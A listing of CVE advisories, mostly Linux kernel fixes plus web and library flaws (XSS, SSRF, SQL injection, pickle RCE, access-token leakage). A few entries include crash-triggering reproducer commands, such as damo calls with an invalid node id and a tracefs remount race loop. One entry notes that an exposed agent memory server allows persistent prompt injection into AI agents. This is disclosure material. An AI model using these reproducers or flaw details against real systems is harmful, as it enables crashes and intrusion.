CVE-2026-46118	In the Linux kernel, the following vulnerability has been resolved: pseries/papr-hvpipe: Fix null ptr deref in papr_hvpipe_dev_create_handle() commit 6d3789d347a7 ("papr-hvpipe: convert papr_hvpipe_dev_create_handle() to FD_PREPARE()"), changed the create handle to FD_PREPARE(), but it caused kernel null-ptr-deref because after call to retain_and_null_ptr(src_info), src_info is re-used for adding it to the global list. Getting the following kernel panic in papr_hvpipe_dev_create_handle() when trying to add src_info to the list. Kernel attempted to write user page (0) - exploit attempt? (uid: 0) BUG: Kernel NULL pointer dereference on write at 0x00000000 Faulting instruction address: 0xc0000000001b44a0 Oops: Kernel access of bad area, sig: 11 [#1] ... Call Trace: papr_hvpipe_dev_ioctl+0x1f4/0x48c (unreliable) sys_ioctl+0x528/0x1064 system_call_exception+0x128/0x360 system_call_vectored_common+0x15c/0x2ec Now, the error handling with FD_PREPARE's file cleanup and __free(kfree) auto cleanup is getting too convoluted. This is mainly because we need to ensure only 1 user get the srcID handle. To simplify this, we allocate prepare the src_info in the beginning and add it to the global list under a spinlock after checking that no duplicates exist. This simplify the error handling where if the FD_ADD fails, we can simply remove the src_info from the list and consume any pending msg in hvpipe to be cleared, after src_info became visible in the global list.	N/A	More Details
CVE-2026-46020	In the Linux kernel, the following vulnerability has been resolved: mm/damon/core: validate damos_quota_goal->nid for node_mem_{used,free}_bp Patch series "mm/damon/core: validate damos_quota_goal->nid". node_mem[cg]_{used,free}_bp DAMOS quota goals receive the node id. The node id is used for si_meminfo_node() and NODE_DATA() without proper validation. As a result, privileged users can trigger an out of bounds memory access using DAMON_SYSFS. Fix the issues. The issue was originally reported [1] with a fix by another author. The original author announced [2] that they will stop working including the fix that was still in the review stage. Hence I'm restarting this. This patch (of 2): Users can set damos_quota_goal->nid with arbitrary value for node_mem_{used,free}_bp. But DAMON core is using those for si_meminfo_node() without the validation of the value. This can result in out of bounds memory access. The issue can actually triggered using DAMON user-space tool (damo), like below. $ sudo ./damo start --damos_action stat \ --damos_quota_goal node_mem_used_bp 50% -1 \ --damos_quota_interval 1s $ sudo dmesg [...] [65.565986] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000098 Fix this issue by adding the validation of the given node. If an invalid node id is given, it returns 0% for used memory ratio, and 100% for free memory ratio.	N/A	More Details
CVE-2026-46021	In the Linux kernel, the following vulnerability has been resolved: thermal: core: Fix thermal zone governor cleanup issues If thermal_zone_device_register_with_trips() fails after adding a thermal governor to the thermal zone being registered, the governor is not removed from it as appropriate which may lead to a memory leak. In turn, thermal_zone_device_unregister() calls thermal_set_governor() without acquiring the thermal zone lock beforehand which may race with a governor update via sysfs and may lead to a use-after-free in that case. Address these issues by adding two thermal_set_governor() calls, one to thermal_release() to remove the governor from the given thermal zone, and one to the thermal zone registration error path to	N/A	More Details

	cover failures preceding the thermal zone device registration.		
CVE-2026-46109	In the Linux kernel, the following vulnerability has been resolved: usb: ulpi: fix memory leak on ulpi_register() error paths Commit 01af542392b5 ("usb: ulpi: fix double free in ulpi_register_interface() error path") removed kfree(ulpi) from ulpi_register_interface() to fix a double-free when device_register() fails. But when ulpi_of_register() or ulpi_read_id() fail before device_register() is called, the ulpi allocation is leaked. Add kfree(ulpi) on both error paths to properly clean up the allocation.	N/A	More Details
CVE-2026-46108	In the Linux kernel, the following vulnerability has been resolved: ipmi:si: Return state to normal if message allocation fails There were places where nothing would get started if a message allocation failed, so the driver needs to return to normal state.	N/A	More Details
CVE-2026-46106	In the Linux kernel, the following vulnerability has been resolved: eventfs: Hold eventfs_mutex and SRCU when remount walks events Commit 340f0c7067a9 ("eventfs: Update all the eventfs_inodes from the events descriptor") had eventfs_set_attrs() recurse through ei->children on remount. The walk only holds the rcu_read_lock() taken by tracefs_apply_options() over tracefs_inodes, which is wrong: - list_for_each_entry over ei->children races with the list_del_rcu() in eventfs_remove_rec() -- LIST_POISON1 deref, same shape as d2603279c7d6. - eventfs_inodes are freed via call_srcu(&eventfs_srcu, ...). rcu_read_lock() does not extend an SRCU grace period, so ti->private can be reclaimed under the walk. - The writes to ei->attr race with eventfs_set_attr(), which holds eventfs_mutex. Reproducer: while :; do mount -o remount,uid=$((RANDOM%1000)) /sys/kernel/tracing; done & while :; do echo "p:kp submit_bio" > /sys/kernel/tracing/kprobe_events echo > /sys/kernel/tracing/kprobe_events done Wrap the events portion of tracefs_apply_options() in eventfs_remount_lock()/_unlock() that take eventfs_mutex and srcu_read_lock(&eventfs_srcu). eventfs_set_attrs() doesn't sleep so the nested rcu_read_lock() is fine; lockdep_assert_held() pins the contract. Comment in tracefs_drop_inode() said "RCU cycle" -- it is SRCU.	N/A	More Details
CVE-2026-46104	In the Linux kernel, the following vulnerability has been resolved: selinux: use sk blob accessor in socket permission helpers SELinux socket state lives in the composite LSM socket blob. sock_has_perm() and nlmsg_sock_has_extended_perms() currently dereference sk->sk_security directly, which assumes the SELinux socket blob is at offset zero. In stacked configurations that assumption does not hold. If another LSM allocates socket blob storage before SELinux, these helpers may read the wrong blob and feed invalid SID and class values into AVC checks. Use selinux_sock() instead of accessing sk->sk_security directly.	N/A	More Details
CVE-2024-47097	Cross Site Scripting vulnerability in Follet School Solutions Destiny before v22.0.1 AU1 allows a remote attacker to run arbitrary client-side code via the site parameter of handleloginform.do.	N/A	More Details
CVE-2026-46022	In the Linux kernel, the following vulnerability has been resolved: misc: ibmasm: fix OOB MMIO read in ibmasm_handle_mouse_interrupt() ibmasm_handle_mouse_interrupt() performs an out-of-bounds MMIO read when the queue reader or writer index from hardware exceeds REMOTE_QUEUE_SIZE (60). A compromised service processor can trigger this by writing an out-of-range value to the reader or writer MMIO register before asserting an interrupt. Since writer is re-read from hardware on every loop iteration, it can also be set to an out-of-range value after the loop has already started. The root cause is that get_queue_reader() and get_queue_writer() return raw readl() values that are passed directly into get_queue_entry(), which computes: queue_begin + reader * sizeof(struct remote_input) with no bounds check. This unchecked MMIO address is then passed to memcpy_fromio(), reading 8 bytes from unintended device registers. For sufficiently large values the address falls outside the PCI BAR mapping entirely, triggering a machine check exception. Fix by checking both indices against REMOTE_QUEUE_SIZE at the top of the loop body, before any call to get_queue_entry(). On an out-of-range value, reset the reader register to 0 via set_queue_reader() before breaking, so that normal queue operation can resume if the corrupted hardware state is transient.	N/A	More Details
CVE-2026-46023	In the Linux kernel, the following vulnerability has been resolved: dm mirror: fix integer overflow in create_dirty_log() The argument count calculation in create_dirty_log() performs `*args_used = 2 + param_count` before validating against argc. When a user provides a param_count close to UINT_MAX via the device mapper table string, this unsigned addition wraps around to a small value, causing the subsequent `argc < *args_used` check to be bypassed. The overflowed param_count is then passed as argc to dm_dirty_log_create(), where it can cause out-of-bounds reads on the argv array. Fix by comparing param_count against argc - 2 before performing the addition, following the same pattern used by parse_features() in the same file. Since argc >= 2 is already guaranteed, the subtraction is safe.	N/A	More Details
CVE-	In the Linux kernel, the following vulnerability has been resolved: mm/damon/core: fix damon_call() vs kdamond_fn() exit race Patch series "mm/damon/core: fix damon_call()/damos_walk() vs kdmond exit race". damon_call() and damos_walk() can leak memory and/or deadlock when they race with kdamond terminations. Fix those. This patch (of 2); When kdamond_fn() main loop is finished, the function cancels all remaining damon_call() requests and unset the damon_ctx->kdamond so that API callers and API functions themselves can know the context is terminated. damon_call() adds the caller's request to the queue first. After that, it shows if the kdamond of the damon_ctx is still running (damon_ctx->kdamond is set). Only if the kdamond is running, damon_call() starts waiting for the kdamond's handling of the newly added request. The damon_call() requests registration and damon_ctx->kdamond unset are protected by different mutexes, though. Hence, damon_call() could race with damon_ctx->kdamond unset, and result in deadlocks. For example, let's suppose kdamond successfully finished the damon_call() requests cancelling. Right after that, damon_call() is called for the context. It registers the new request, and shows the context is still running,		More

2026-46025	because damon_ctx->kdamond unset is not yet done. Hence the damon_call() caller starts waiting for the handling of the request. However, the kdamond is already on the termination steps, so it never handles the new request. As a result, the damon_call() caller threads infinitely waits. Fix this by introducing another damon_ctx field, namely call_controls_obsolete. It is protected by the damon_ctx->call_controls_lock, which protects damon_call() requests registration. Initialize (unset) it in kdamond_fn() before letting damon_start() returns and set it just before the cancelling of remaining damon_call() requests is executed. damon_call() reads the obsolete field under the lock and avoids adding a new request. After this change, only requests that are guaranteed to be handled or cancelled are registered. Hence the after-registration DAMON context termination check is no longer needed. Remove it together. Note that the deadlock will not happen when damon_call() is called for repeat mode request. In tis case, damon_call() returns instead of waiting for the handling when the request registration succeeds and it shows the kdamond is running. However, if the request also has dealloc_on_cancel, the request memory would be leaked. The issue is found by sashiko [1].	N/A	Details
CVE-2026-46026	In the Linux kernel, the following vulnerability has been resolved: net: qrtr: ns: Limit the maximum number of lookups Current code does no bound checking on the number of lookups a client can perform. Though the code restricts the lookups to local clients, there is still a possibility of a malicious local client sending a flood of NEW_LOOKUP messages over the same socket. Fix this issue by limiting the maximum number of lookups to 64 globally. Since the nameserver allows only atmost one local observer, this global lookup count will ensure that the lookups stay within the limit. Note that, limit of 64 is chosen based on the current platform requirements. If requirement changes in the future, this limit can be increased.	N/A	More Details
CVE-2026-46028	In the Linux kernel, the following vulnerability has been resolved: crypto: algif_aead - snapshot IV for async AEAD requests AF_ALG AEAD AIO requests currently use the socket-wide IV buffer during request processing. For async requests, later socket activity can update that shared state before the original request has fully completed, which can lead to inconsistent IV handling. Snapshot the IV into per-request storage when preparing the AEAD request, so in-flight operations no longer depend on mutable socket state.	N/A	More Details
CVE-2026-46030	In the Linux kernel, the following vulnerability has been resolved: EDAC/versalnet: Fix device_node leak in mc_probe() of_parse_phandle() returns a device_node reference that must be released with of_node_put(). The original code never freed r5_core_node on any exit path, causing a memory leak. Fix this by using the automatic cleanup attribute __free(device_node) which ensures of_node_put() is called when the variable goes out of scope.	N/A	More Details
CVE-2026-46032	In the Linux kernel, the following vulnerability has been resolved: KVM: nSVM: Triple fault if restore host CR3 fails on nested #VMEXIT If loading L1's CR3 fails on a nested #VMEXIT, nested_svm_vmexit() returns an error code that is ignored by most callers, and continues to run L1 with corrupted state. A sane recovery is not possible in this case, and HW behavior is to cause a shutdown. Inject a triple fault instead, and do not return early from nested_svm_vmexit(). Continue cleaning up the vCPU state (e.g. clear pending exceptions), to handle the failure as gracefully as possible. From the APM: Upon #VMEXIT, the processor performs the following actions in order to return to the host execution context: ... if (illegal host state loaded, or exception while loading host state) shutdown else execute first host instruction following the VMRUN Remove the return value of nested_svm_vmexit(), which is mostly unchecked anyway.	N/A	More Details
CVE-2026-46061	In the Linux kernel, the following vulnerability has been resolved: jbd2: fix deadlock in jbd2_journal_cancel_revoke() Commit f76d4c28a46a ("fs/jbd2: use sleeping version of __find_get_block()") changed jbd2_journal_cancel_revoke() to use __find_get_block_nonatomic() which holds the folio lock instead of i_private_lock. This breaks the lock ordering (folio -> buffer) and causes an ABBA deadlock when the filesystem blocksize < pagesize: T1 T2 ext4_mkdir() ext4_init_new_dir() ext4_append() ext4_getblk() lock_buffer() <- A sync_blockdev() blkdev_writepages() writeback_iter() writeback_get_folio() folio_lock() <- B ext4_journal_get_create_access() jbd2_journal_cancel_revoke() __find_get_block_nonatomic() folio_lock() <- B block_write_full_folio() lock_buffer() <- A This can occasionally cause generic/013 to hang. Fix by only calling __find_get_block_nonatomic() when the passed buffer_head doesn't belong to the bdev, which is the only case that we need to look up its bdev alias. Otherwise, the lookup is redundant since the found buffer_head is equal to the one we passed in.	N/A	More Details
CVE-2026-46063	In the Linux kernel, the following vulnerability has been resolved: x86/shstk: Prevent deadlock during shstk sigreturn During sigreturn the shadow stack signal frame is popped. The kernel does this by reading the shadow stack using normal read accesses. When it can't assume the memory is shadow stack, it takes extra steps to makes sure it is reading actual shadow stack memory and not other normal readable memory. It does this by holding the mmap read lock while doing the access and checking the flags of the VMA. Unfortunately that is not safe. If the read of the shadow stack sigframe hits a page fault, the fault handler will try to recursively grab another mmap read lock. This normally works ok, but if a writer on another CPU is also waiting, the second read lock could fail and cause a deadlock. Fix this by not holding mmap lock during the read access to userspace. Instead use mmap_lock_speculate_...() to watch for changes between dropping mmap lock and the userspace access. Retry if anything grabbed an mmap write lock in between and could have changed the VMA. These mmap_lock_speculate_...() helpers use mm::mm_lock_seq, which is only available when PER_VMA_LOCK is configured. So make X86_USER_SHADOW_STACK depend on it. On x86, PER_VMA_LOCK is a default configuration for SMP kernels. So drop support for the other configs under the assumption that the !SMP shadow stack user base does not exist. Currently there is a check that skips the lookup work when the SSP can be assumed to be on a shadow stack. While reorganizing the function, remove	N/A	More Details

	the optimization to make the tricky code flows more common, such that issues like this cannot escape detection for so long.		
CVE-2026-46064	In the Linux kernel, the following vulnerability has been resolved: ibmasm: fix heap over-read in ibmasm_send_i2o_message() The ibmasm_send_i2o_message() function uses get_dot_command_size() to compute the byte count for memcpy_toio(), but this value is derived from user-controlled fields in the dot_command_header (command_size: u8, data_size: u16) and is never validated against the actual allocation size. A root user can write a small buffer with inflated header fields, causing memcpy_toio() to read up to ~65 KB past the end of the allocation into adjacent kernel heap, which is then forwarded to the service processor over MMIO. Silently clamping the copy size is not sufficient: if the header fields claim a larger size than the buffer, the SP receives a dot command whose own header is inconsistent with the I2O message length, which can cause the SP to desynchronize. Reject such commands outright by returning failure. Validate command_size before calling get_mfa_inbound() to avoid leaking an I2O message frame: reading INBOUND_QUEUE_PORT dequeues a hardware frame from the controller's free pool, and returning without a corresponding set_mfa_inbound() call would permanently exhaust it. Additionally, clamp command_size to I2O_COMMAND_SIZE before the memcpy_toio() so the MMIO write stays within the I2O message frame, consistent with the clamping already performed by outgoing_message_size() for the header field.	N/A	More Details
CVE-2026-46095	In the Linux kernel, the following vulnerability has been resolved: md/md-llbitmap: raise barrier before state machine transition Move the barrier raise operation before calling llbitmap_state_machine() in both llbitmap_start_write() and llbitmap_start_discard(). This ensures the barrier is in place before any state transitions occur, preventing potential race conditions where the state machine could complete before the barrier is properly raised.	N/A	More Details
CVE-2026-46097	In the Linux kernel, the following vulnerability has been resolved: Input: edt-ft5x06 - fix use-after-free in debugfs teardown The commit 68743c500c6e ("Input: edt-ft5x06 - use per-client debugfs directory") removed the manual debugfs teardown, relying on the I2C core to handle it. However, this creates a window where debugfs files are still accessible after edt_ft5x06_ts_teardown_debugfs() frees tsdata->raw_buffer. To prevent a use-after-free, protect the freeing of raw_buffer with the device mutex and set raw_buffer to NULL. The debugfs read function already checks if raw_buffer is NULL under the same mutex, so this safely avoids the use-after-free.	N/A	More Details
CVE-2026-46098	In the Linux kernel, the following vulnerability has been resolved: net: caif: clear client service pointer on teardown `caif_connect()` can tear down an existing client after remote shutdown by calling `caif_disconnect_client()` followed by `caif_free_client()`. `caif_free_client()` releases the service layer referenced by `adap_layer->dn`, but leaves that pointer stale. When the socket is later destroyed, `caif_sock_destructor()` calls `caif_free_client()` again and dereferences the freed service pointer. Clear the client/service links before releasing the service object so repeated teardown becomes harmless.	N/A	More Details
CVE-2026-46101	In the Linux kernel, the following vulnerability has been resolved: netfilter: reject zero shift in nft_bitwise Reject zero shift operands for nft_bitwise left and right shift expressions during initialization. The carry propagation logic computes the carry from the adjacent 32-bit word using BITS_PER_TYPE(u32) - shift. A zero shift operand turns this into a 32-bit shift, which is undefined behaviour. Reject zero shift operands in the control plane, alongside the existing check for values greater than or equal to 32, so malformed rules never reach the packet path.	N/A	More Details
CVE-2026-46103	In the Linux kernel, the following vulnerability has been resolved: can: ucan: fix devres lifetime USB drivers bind to USB interfaces and any device managed resources should have their lifetime tied to the interface rather than parent USB device. This avoids issues like memory leaks when drivers are unbound without their devices being physically disconnected (e.g. on probe deferral or configuration changes). Fix the control message buffer lifetime so that it is released on driver unbind.	N/A	More Details
CVE-2026-44720	OpenLearnX is an open-source, decentralized learning and assessment platform. Prior to 2.0.4, a critical authentication vulnerability was identified in OpenLearnX that could allow unauthorized access to user accounts under specific conditions. This vulnerability is fixed in 2.0.4.	N/A	More Details
CVE-2026-44651	SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to 1.18.0, when fetch(url) throws, the code sends: res.status(500).send('Error occurred while trying to proxy to: ' + url + ' ' + error). The url value is attacker-controlled (req.params.url) and is not HTML-escaped before rendering. This vulnerability is fixed in 1.18.0.	N/A	More Details
CVE-2026-44652	SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to 1.18.0, corsProxyMiddleware forwards req.params.url directly into fetch(url, ...). It only blocks circular requests to its own host and does not enforce destination allowlist or private/loopback restrictions, enabling SSRF. This vulnerability is fixed in 1.18.0.	N/A	More Details
CVE-2026-47161	RELATE is a web-based courseware package. Prior to commit d66ba5659b459bf1ba56b7109b5f9ecf197cbefb, RELATE LMS configures its Celery workers to accept and deserialize untrusted 'pickle' data. An attacker who can reach the message broker can execute arbitrary commands on the host server. Combined with missing network isolation in the code execution sandbox, this	N/A	More Details

	allows an authenticated student to achieve full Remote Code Execution (RCE) on the host system. Commit d66ba5659b459bf1ba56b7109b5f9ecf197cbefb fixes the issue.		
CVE-2026-44886	Pi.Alert is a WIFI / LAN intruder detector with web service monitoring. From 2024-06-29 to before 2026-05-07, the web application endpoint is vulnerable to SQL injection. The /pialert/php/server/devices.php route accepts requests from unauthenticated users when the action URL parameter is set to getDevicesTotals. The scansource URL parameter is then injected in a SQL query. This vulnerability is fixed in 2026-05-07.	N/A	More Details
CVE-2026-48148	Budibase is an open-source low-code platform. Prior to 3.35.3, the VectorDB configuration endpoint in Budibase accepts a host parameter that undergoes no validation against internal IP ranges, reserved hostnames, or URL schemes. Any authenticated user with builder-level access can supply an arbitrary host value such as 169.254.169.254 or localhost, causing the server to initiate outbound TCP connections to internal network addresses or cloud metadata endpoints on their behalf.This vulnerability is fixed in 3.35.3.	N/A	More Details
CVE-2026-48128	Budibase is an open-source low-code platform. Prior to 3.39.0, the executeQuery automation step in Budibase accepts a queryId from automation step inputs and passes it directly to the query execution controller without additional validation. When combined with a REST datasource configured to target internal infrastructure, this creates a server-side request forgery path where automation execution causes the Budibase server to make outbound HTTP requests to attacker-influenced destinations. The automation output then returns the response, potentially exposing internal service data. This vulnerability is fixed in 3.39.0.	N/A	More Details
CVE-2026-45151	NanoMQ MQTT Broker (NanoMQ) is an all-around Edge Messaging Platform. In 0.24.8 and earlier, quic_stream_recv can dereference a null substream pointer when a substream is in reopen state. The code finishes the AIO with error but does not return before locking c->mtx.	N/A	More Details
CVE-2026-46384	iskorotkov/avro is a fast Go Avro codec. Prior to 2.33.0, several Avro decoder paths read attacker-controlled 64-bit values from the wire format and either narrowed them to platform-sized int before bounds-checking, or summed them with overflow-prone signed-int arithmetic. On 32-bit targets (GOARCH=386, arm, mips, wasm, etc.), the truncation paths can silently bypass byte-slice limits, select the wrong union branch, or hit the OCF negative-make panic via wrap. Three sub-issues are not 32-bit-specific: cumulative-size arithmetic overflow in arrayDecoder.Decode / mapDecoder.Decode / mapDecoderUnmarshaler.Decode (wraps at math.MaxInt64 on amd64 / arm64 and bypasses MaxSliceAllocSize / MaxMapAllocSize), math.MinInt negation in block-header handling, and make([]byte, size) with a negative size in OCF block reads — all three panic or bypass caps on any platform, giving an attacker a denial-of-service primitive there. This vulnerability is fixed in 2.33.0.	N/A	More Details
CVE-2026-46385	iskorotkov/avro is a fast Go Avro codec. Prior to 2.33.0, the Avro array and map decoders looped over an attacker-controlled block-count value without checking the underlying reader's error state inside the loop body. Reader.ReadBlockHeader returns the count as a Go int, which is 64-bit on amd64 / arm64 targets — so a producer can declare a block of up to math.MaxInt64 (~9.2×10^{18}) elements followed by EOF (or any truncated payload), and the decoder will attempt that many no-op iterations before propagating the error. The realistic ceiling is "indefinite until the worker is killed externally" — a single hostile payload pins a CPU core until the process is OOM-killed, deadline-cancelled, or terminated. Remote, unauthenticated denial-of-service. This vulnerability is fixed in 2.33.0.	N/A	More Details
CVE-2026-42553	Cinny is a Matrix client. Prior to 4.10.3, A remote authenticated attacker who shares a room with a victim and has permissions to create room emotes (for example in a DM) can cause the victim's client to send their Matrix access token to an attacker-controlled server. This occurs when the victim opens the emoji or sticker picker for the room containing a malicious emote pack. This is caused by an incorrect fallback in EmojiBoard that uses untrusted pack.meta.avatar (user-controlled) without converting/validating it as an MXC URL, allowing arbitrary HTTP(S) URLs to be used. Also, the service worker attaching the user's Authorization bearer token to all outbound GET requests whose URL contains /_matrix/client/v1/media/download or /_matrix/client/v1/media/thumbnail without verifying the request host matches the configured homeserver origin. An attacker-controlled URL containing those path fragments and permissive CORS will receive the victim's Authorization header (access token). This vulnerability is fixed in 4.10.3.	N/A	More Details
CVE-2026-44830	Nocturne Memory is a lightweight, rollbackable, and visual Long-Term Memory Server for MCP Agents. Prior to 2.4.1, when API_TOKEN is unset or empty, the BearerTokenAuthMiddleware bypasses authentication for all HTTP requests. Combined with the default 0.0.0.0 host binding and CORS allow_origins=["*"], operators following the Docker setup without explicitly setting API_TOKEN expose the full Knowledge-Graph read/write API to any LAN-reachable client. An attacker on the same network can read, write, or delete all memory entries — including system://boot and core://* URIs that auto-load into downstream agent sessions, enabling persistent prompt-injection. This vulnerability is fixed in 2.4.1.	N/A	More Details
CVE-2026-44838	RabbitMQ is a messaging and streaming broker. From 4.2.0 to before 4.2.4, RabbitMQ's MQTT plugin allows for topic-level authorization using regular expressions with variable substitution. Administrators can create patterns such as ^{client_id}-sensors$ to restrict user access to topics that include their client ID. However, the client_id is provided by the user in the MQTT CONNECT packet and is inserted into the regex pattern without escaping special regex characters. This flaw enables an authenticated MQTT user to inject regex operators to bypass authorization. This vulnerability is fixed in 4.2.4 and 4.3.0.	N/A	More Details
CVE-2026-	RabbitMQ is a messaging and streaming broker. From 3.7.0 to before 4.1.2 and 4.0.13, This vulnerability is	N/A	More

44839	fixed in 4.1.2 and 4.0.13.		Details
CVE-2026-47266	Formie is a Craft CMS plugin for creating forms. Prior to 2.2.21 and 3.1.26, unauthenticated users could modify existing submissions by posting a known or guessed submission ID to formie/submissions/save-submission. This vulnerability is fixed in 2.2.21 and 3.1.26.	N/A	More Details
CVE-2026-45022	go-git is an extensible git implementation library written in pure Go. Prior to 5.19.0 and 6.0.0-alpha.3, go-git may parse malformed Git objects in a way that differs from upstream Git. When commit or tag objects contain ambiguous or malformed headers, go-git's decoded representation may expose values differently from how Git itself would interpret or reject the same object. Additionally, go-git's commit signing and verification logic operates over commit data reconstructed from go-git's parsed representation rather than the original raw object bytes. As a result, go-git may sign or verify a commit payload that is not byte-for-byte equivalent to the object stored in the repository. This can cause a signature to appear valid for a commit whose displayed or effective metadata differs from the object that was intended to be signed. This vulnerability is fixed in 5.19.0 and 6.0.0-alpha.3.	N/A	More Details
CVE-2026-45570	go-git is an extensible git implementation library written in pure Go. Prior to 5.19.1 and 6.0.0-alpha.4, go-git's SSH transport constructs the remote exec command by wrapping the repository path in single quotes without escaping single quotes embedded inside the path. A repository path containing a single quote can therefore break out of the quoted region in the exec command and be appended as additional shell tokens. This vulnerability is fixed in 5.19.1 and 6.0.0-alpha.4.	N/A	More Details
CVE-2026-4387	StrongDM Desktop Application before 23.74.0 (Desktop Client before 53.77.0) on Microsoft Windows stores authentication state, including a JSON Web Token and asymmetric key material, in cleartext in a per-user state file located at C:\Users\<username>\.sdm\state.kv. The file is protected only by default user-level NTFS permissions. Exploitation requires local read access to the affected user's profile directory and additional deployment and execution conditions on the target host. The condition was reported through coordinated disclosure by Hope Walker (SpecterOps).	N/A	More Details
CVE-2026-46242	In the Linux kernel, the following vulnerability has been resolved: eventpoll: fix ep_remove struct eventpoll / struct file UAF ep_remove() (via ep_remove_file()) cleared file->f_ep under file->f_lock but then kept using @file inside the critical section (is_file_epoll(), hlist_del_rcu() through the head, spin_unlock). A concurrent __fput() taking the eventpoll_release() fastpath in that window observed the transient NULL, skipped eventpoll_release_file() and ran to f_op->release / file_free(). For the epoll-watches-epoll case, f_op->release is ep_eventpoll_release() -> ep_clear_and_put() -> ep_free(), which kfree()s the watched struct eventpoll. Its embedded ->refs hlist_head is exactly where epi->fllink.pprev points, so the subsequent hlist_del_rcu()'s "*pprev = next" scribbles into freed kmalloc-192 memory. In addition, struct file is SLAB_TYPESAFE_BY_RCU, so the slot backing @file could be recycled by alloc_empty_file() -- reinitializing f_lock and f_ep -- while ep_remove() is still nominally inside that lock. The upshot is an attacker-controllable kmem_cache_free() against the wrong slab cache. Pin @file via epi_fget() at the top of ep_remove() and gate the critical section on the pin succeeding. With the pin held @file cannot reach refcount zero, which holds __fput() off and transitively keeps the watched struct eventpoll alive across the hlist_del_rcu() and the f_lock use, closing both UAFs. If the pin fails @file has already reached refcount zero and its __fput() is in flight. Because we bailed before clearing f_ep, that path takes the eventpoll_release() slow path into eventpoll_release_file() and blocks on ep->mtx until the waiter side's ep_clear_and_put() drops it. The bailed epi's share of ep->refcount stays intact, so the trailing ep_refcount_dec_and_test() in ep_clear_and_put() cannot free the eventpoll out from under eventpoll_release_file(); the orphaned epi is then cleaned up there. A successful pin also proves we are not racing eventpoll_release_file() on this epi, so drop the now-redundant re-check of epi->dying under f_lock. The cheap lockless READ_ONCE(epi->dying) fast-path bailout stays.	N/A	More Details
CVE-2026-46096	In the Linux kernel, the following vulnerability has been resolved: tpm2-sessions: Fix missing tpm_buf_destroy() in tpm2_read_public() tpm2_read_public() calls tpm_buf_init() but fails to call tpm_buf_destroy() on two exit paths, leaking a page allocation: 1. When name_size() returns an error (unrecognized hash algorithm), the function returns directly without destroying the buffer. 2. On the success path, the buffer is never destroyed before returning. All other error paths in the function correctly call tpm_buf_destroy() before returning. Fix both by adding the missing tpm_buf_destroy() calls.	N/A	More Details
CVE-2026-46094	In the Linux kernel, the following vulnerability has been resolved: ext4: fix bounds check in check_xattrs() to prevent out-of-bounds access The bounds check for the next xattr entry in check_xattrs() uses (void *)next >= end, which allows next to point within sizeof(u32) bytes of end. On the next loop iteration, IS_LAST_ENTRY() reads 4 bytes via *(__u32 *)(entry), which can overrun the valid xattr region. For example, if next lands at end - 1, the check passes since next < end, but IS_LAST_ENTRY() reads 4 bytes starting at end - 1, accessing 3 bytes beyond the valid region. Fix this by changing the check to (void *)next + sizeof(u32) > end, ensuring there is always enough space for the IS_LAST_ENTRY() read on the subsequent iteration.	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: ceph: fix num_ops off-by-one when crypto allocation fails move_dirty_folio_in_page_array() may fail if the file is encrypted, the dirty folio is not the first in the batch, and it fails to allocate a bounce buffer to hold the ciphertext. When that happens, ceph_process_folio_batch() simply redirties the folio and flushes the current batch -- it can retry that folio in a future batch. However, if this failed folio is not contiguous with the last folio that did make it into the batch,		

CVE-2026-46066	then ceph_process_folio_batch() has already incremented `ceph_wbc->num_ops`; because it doesn't follow through and add the discontiguous folio to the array, ceph_submit_write() -- which expects that `ceph_wbc->num_ops` accurately reflects the number of contiguous ranges (and therefore the required number of "write extent" ops) in the writeback -- will panic the kernel: BUG_ON(ceph_wbc->op_idx + 1 != req->r_num_ops); This issue can be reproduced on affected kernels by writing to fscrypt-enabled CephFS file(s) with a 4KiB-written/4KiB-skipped/repeat pattern (total filesize should not matter) and gradually increasing the system's memory pressure until a bounce buffer allocation fails. Fix this crash by decrementing `ceph_wbc->num_ops` back to the correct value when move_dirty_folio_in_page_array() fails, but the folio already started counting a new (i.e. still-empty) extent. The defect corrected by this patch has existed since 2022 (see first `Fixes:`), but another bug blocked multi-folio encrypted writeback until recently (see second `Fixes:`). The second commit made it into 6.18.16, 6.19.6, and 7.0-rc1, unmasking the panic in those versions. This patch therefore fixes a regression (panic) introduced by cac190c7674f.	N/A	More Details
CVE-2026-46092	In the Linux kernel, the following vulnerability has been resolved: wifi: rtw88: check for PCI upstream bridge existence pci_upstream_bridge() returns NULL if the device is on a root bus. If 8821CE is installed in the system with such a PCI topology, the probing routine will crash. This has probably been unnoticed as 8821CE is mostly supplied in laptops where there is a PCI-to-PCI bridge located upstream from the device. However the card might be installed on a system with different configuration. Check if the bridge does exist for the specific workaround to be applied. Found by Linux Verification Center (linuxtesting.org) with Svace static analysis tool.	N/A	More Details
CVE-2026-46067	In the Linux kernel, the following vulnerability has been resolved: mm/damon/core: validate damos_quota_goal->nid for node_memcg_{used,free}_bp Users can set damos_quota_goal->nid with arbitrary value for node_memcg_{used,free}_bp. But DAMON core is using those for NODE-DATA() without a validation of the value. This can result in out of bounds memory access. The issue can actually triggered using DAMON user-space tool (damo), like below. $ sudo mkdir /sys/fs/cgroup/foo $ sudo ./damo start --damos_action stat --damos_quota_interval 1s \ --damos_quota_goal node_memcg_used_bp 50% -1 /foo $ sudo dmseg [...] [524.181426] Unable to handle kernel paging request at virtual address 0000000000002c00 Fix this issue by adding the validation of the given node id. If an invalid node id is given, it returns 0% for used memory ratio, and 100% for free memory ratio.	N/A	More Details
CVE-2026-46068	In the Linux kernel, the following vulnerability has been resolved: crypto: nx - fix bounce buffer leaks in nx842_crypto_{alloc,free}_ctx The bounce buffers are allocated with __get_free_pages() using BOUNCE_BUFFER_ORDER (order 2 = 4 pages), but both the allocation error path and nx842_crypto_free_ctx() release the buffers with free_page(). Use free_pages() with the matching order instead.	N/A	More Details
CVE-2026-46069	In the Linux kernel, the following vulnerability has been resolved: wifi: mwifiex: fix use-after-free in mwifiex_adapter_cleanup() The mwifiex_adapter_cleanup() function uses timer_delete() (non-synchronous) for the wakeup_timer before the adapter structure is freed. This is incorrect because timer_delete() does not wait for any running timer callback to complete. If the wakeup_timer callback (wakeup_timer_fn) is executing when mwifiex_adapter_cleanup() is called, the callback will continue to access adapter fields (adapter->hw_status, adapter->if_ops.card_reset, etc.) which may be freed by mwifiex_free_adapter() called later in the mwifiex_remove_card() path. Use timer_delete_sync() instead to ensure any running timer callback has completed before returning.	N/A	More Details
